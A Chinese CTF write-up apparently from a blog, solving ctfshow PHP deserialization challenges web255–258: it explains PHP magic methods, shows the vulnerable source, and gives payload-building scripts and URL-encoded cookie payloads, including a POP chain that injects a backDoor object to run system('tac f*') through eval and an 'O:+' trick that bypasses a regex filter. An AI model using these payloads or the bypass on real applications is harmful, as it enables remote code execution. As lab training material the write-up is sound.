首页 > 其他分享 >反序列化刷题

反序列化刷题

时间:2023-02-28 23:12:21浏览次数:31  
标签:username password 22% 3A% user 序列化 public 刷题

反序列化魔法函数:(以俩个下划线开头的方法称为魔法函数)

__construct()    在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法
__destruct()    和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法
__toString()    当对象被当做一个字符串使用时调用
__sleep()    当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作
__wakeup()    反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
__invoke()    把一个实例对象当作函数使用时被调用
__call()    调用不可访问或不存在的方法时被调用
__callStatic()    调用不可访问或不存在的静态方法时自动调用
__get()    在调用私有属性的时候会自动执行
__isset()    在不可访问的属性上调用 isset() 或 empty() 时触发
__set()    当给不可访问或不存在属性赋值时被调用
__unset()    在不可访问的属性上使用 unset() 时触发
__set_state()    当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值
__clone()    进行对象clone时被调用,用来调整对象的克隆行为
__debuginfo()    当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本

web255

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    //反序列化了cookie传入的user,所以我们需要实例化user。
    if($user->login($username,$password)){
        if($user->checkVip()){                
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

 

所以我们得到

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>

这里我们注意cookie遇到特殊符号会截断,所以我们需要对于序列化的字符串进行url编码

得到cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:username=xxxxxx&password=xxxxxx

web256

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){      
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题和上题一样,就是要求password的值和username的值不一样。

所以get传参:username=1&passworld=xxxxxx

Cookie传参:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

 思路:对于这种长的代码我们从下往上看。

 

 

可以看到我们可以通过eval函数来获取flag,而eval函数在backDoor类的getInfo()里,我们又可以发现在ctfShowUser中$this->class实例化了info类。

 

 

 

 

 

因此我们只需要$this->class实例化backDoor类,然后反序列化时,__destruct调用backDoor类中的getInfo(),从而执行eval命令。

下面构造pop链:

 

<?php
    class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system("tac f*");';
    public function getInfo(){
        eval($this->code);
    }
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

 

 

 

 

get传参:username=xxxxxx&passworld=xxxxxx

cookie传参:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D

 web258

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这道题和上一道题差不多,只是他把类变成了public,而且加了一个正则表达式。

我们百度一下这个正则表达式的含义。

/[oc]:\d+:/i研究:
OC:正则表达式。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。
\d:  匹配一个数字字符。等价于 [0-9]。
 +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写。
preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头。

绕过方法:在O后面加+;

代码如下:

<?
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='system("tac f*");';
    public function getInfo(){
        eval($this->code);
    }}
$a=serialize(new ctfShowUser());
$a=str_replace('O:', 'O:+', $a);  //我们将所有有O:的替换成O:+
echo urlencode($a);

?>

get传参:username=xxxxxx&password=xxxxxx

cookie传参:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D

标签:username,password,22%,3A%,user,序列化,public,刷题
From: https://www.cnblogs.com/kode00/p/17153249.html

相关文章

  • 算法刷题 Day 60 | ● 84.柱状图中最大的矩形
    84.柱状图中最大的矩形有了之前单调栈的铺垫,这道题目就不难了。https://programmercarl.com/0084.%E6%9F%B1%E7%8A%B6%E5%9B%BE%E4%B8%AD%E6%9C%80%E5%A4%A7%E7%9A%84%......
  • 算法刷题 Day 59 | ● 503.下一个更大元素II ● 42. 接雨水
    503.下一个更大元素II这道题和739.每日温度几乎如出一辙,可以自己尝试做一做https://programmercarl.com/0503.%E4%B8%8B%E4%B8%80%E4%B8%AA%E6%9B%B4%E5%A4%A7%E5......
  • 算法刷题-简单密码-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • 算法刷题-统计大写字母个数-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • 算法刷题-等差数列-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • 算法刷题-求最大连续bit数-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • 算法刷题-求int型正整数在内存中存储时1的个数-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • 算法刷题-查找组成一个偶数最接近的两个素数-JAVA
    0x00引言为获取一个良好的算法思维,以及不再成为一个脚本小子,争取每天一道算法题,培养自己的逻辑思维,温顾各类型语言语法知识。题解只写自己理解的解法,其他解法不再增加。......
  • C++刷题笔记
    初始化string数组stringnumbers[12]={{"1"},{"2"},{"10"},{"11"},{"23"},{"25"},{"31"},{"36"},{"37"},{"102"},{"325"},{"438"}};填充for(in......
  • 经典算法贪心(刷题归纳)
    <贪心算法greedyalgorithnm>本质是让机器模拟人类,每次都按照某一个标准取最优解,一般常用最优子结构问题,但不是所有的时候贪心都获得最优解。跟DP最大的区别在于,贪心不可......